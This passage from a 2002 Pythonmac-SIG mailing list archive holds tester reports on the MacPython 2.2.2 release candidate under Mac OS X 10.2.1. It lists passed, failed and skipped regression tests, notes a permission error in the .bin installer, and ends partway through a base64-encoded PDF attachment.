>     test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
>     test_linuxaudiodev test_locale test_mmap test_nis test_openpty
>     test_poll test_popen2 test_pty test_pwd test_signal
>     test_socket_ssl test_socketserver test_sunaudiodev test_timing
>     test_unicode_file test_winreg test_winsound
> 1 skip unexpected on mac:
>     test_atexit

No chance to fire up 8.x until this weekend.  Thanks for doing what you 
do!

     dan



From Jack.Jansen@cwi.nl  Tue Oct 29 10:03:59 2002
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Tue, 29 Oct 2002 11:03:59 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <BF4AF764-EAB5-11D6-8AA8-000A27979162@Oefelein.de>
Message-ID: <BEB19D8C-EB25-11D6-B9B3-0030655234CE@cwi.nl>

On Monday, Oct 28, 2002, at 21:42 Europe/Amsterdam, Martina Oefelein 
wrote:

> Hi Jack,
>
> Tested with Jaguar 10.2.1, too. Results similar to Alexandre, but one 
> more test failed:
>
> 155 tests OK.
> 2 tests failed:
>     test_frozen test_socket

Test_socket failing shouldn't normally worry you: it usually means that 
your IP address doesn't have a hostname associated with it. This is 
normal for any machine on an Airport network, or any other network with 
a masquerading gateway.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From jhrsn@pitt.edu  Mon Oct 28 22:05:29 2002
From: jhrsn@pitt.edu (Jim Harrison)
Date: Mon, 28 Oct 2002 17:05:29 -0500
Subject: [Pythonmac-SIG] MacPython 2.2.2 - third final candidate
In-Reply-To: <CB27DE1E-EAAD-11D6-8360-003065517236@oratrix.com>
Message-ID: <B9E31EDB.168A0%jhrsn@pitt.edu>

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3118669532_5954018
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 10/28/02 2:45 PM, Jack Jansen at Jack.Jansen@oratrix.com wrote:

> As with yesterdays' installers I haven't had a chance to test
> these on Jaguar, so please report failure back here so other
> people don't spend time downloading something that doesn't work.

Jack-

The .bin version of the installer fails with a permission error (see
attached PDF for traceback), but the .hqx version runs OK:

157 tests OK.
1 test failed:
    test_frozen
35 tests skipped:
    test_al test_atexit test_bsddb test_cd test_cl test_commands
    test_crypt test_curses test_dbm test_dl test_email_codecs
    test_fcntl test_fork1 test_gl test_grp test_imgfile test_largefile
    test_linuxaudiodev test_locale test_longexp test_mmap test_nis
    test_openpty test_poll test_popen2 test_pty test_pwd test_signal
    test_socket_ssl test_socketserver test_sunaudiodev test_timing
    test_unicode_file test_winreg test_winsound
2 skips unexpected on mac:
    test_longexp test_atexit

10.2.1, 550 MHz TiBook.

Jim Harrison
Univ. of Pittsburgh



--B_3118669532_5954018
Content-type: application/pdf; name="bin_install_failure.pdf";
 x-mac-creator="3F3F3F3F";
 x-mac-type="50444620"
Content-disposition: attachment
Content-transfer-encoding: base64

JVBERi0xLjMKJcTl8uXrp/Og0MTGCjIgMCBvYmoKPDwgL0xlbmd0aCAxIDAgUiAvRmlsdGVyIC9G
bGF0ZURlY29kZSA+PgpzdHJlYW0KeJwrVAhUKFTQD0gtSk4tKClNzFEoygQKmFhYKBgAobG5MZhO
zlXQ98w1VHDJB6oPBACWDg4ACmVuZHN0cmVhbQplbmRvYmoKMSAwIG9iago1NAplbmRvYmoKMyAw
IG9iago8PCAvVHlwZSAvUGFnZSAvUGFyZW50IDQgMCBSIC9SZXNvdXJjZXMgNSAwIFIgL0NvbnRl
bnRzIDIgMCBSIC9NZWRpYUJveApbIDAgMCA0ODggMzczIF0gPj4KZW5kb2JqCjUgMCBvYmoKPDwg
L1Byb2NTZXQgWyAvUERGIC9JbWFnZUIgL0ltYWdlQyAvSW1hZ2VJIF0gL1hPYmplY3QgPDwgL0lt
MSA2IDAgUgo+PiA+PgplbmRvYmoKNiAwIG9iago8PCAvTGVuZ3RoIDcgMCBSIC9UeXBlIC9YT2Jq
ZWN0IC9TdWJ0eXBlIC9JbWFnZSAvV2lkdGggNDg4IC9IZWlnaHQKMzczIC9Db2xvclNwYWNlIDgg
MCBSIC9CaXRzUGVyQ29tcG9uZW50IDggL0ZpbHRlciAvRmxhdGVEZWNvZGUgPj4Kc3RyZWFtCnic
7L0JfBRV1vdf9/N/3vedeZ7RZ0ZmxMFhFFEUUURkl0EQEFxAQAREVkURQWQHZd8hCQRCWGWHsO8h
AQIkhBBCFsISspCE7CQh+743/T9V1d3pdFXdvr1kKXK+nxmsvn3vOeeee++vb1VXurRaBEEQRDU8
ePCgvkNAEARBLAB1G0EQRF2gbiMIgqiLZ0a3OY6r7xAQHhwIBKltjHWbq4kdvVhnjb2VvaKtX82p
vV6wWLbjGKF0I0itIt1v18aiQ92uS+8NTbftvg1AkEYOXbfFY5N1J92TS7foShUssiM9kEVWJejx
0L0ruaNng72EMauyAbC0klqgJ1C2Dkt+KDFLgzQbAIIgjJjVbanamNSs7RKzS14qOBQLdJt0X3bM
hokdRu9mLSvZsVS3bc8YCjWC1B4s+236u7J1THZiluqbiR16F6zQbSXj7MppYkS2pyx1rNNtetva
0G2thRlD3UaQ2sNq3aYrlVmbFtmxSLoZdZvSlsWLvUrs4t1ETu2o27Kfm2Zjlmo7yjiC2BFLdVsr
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
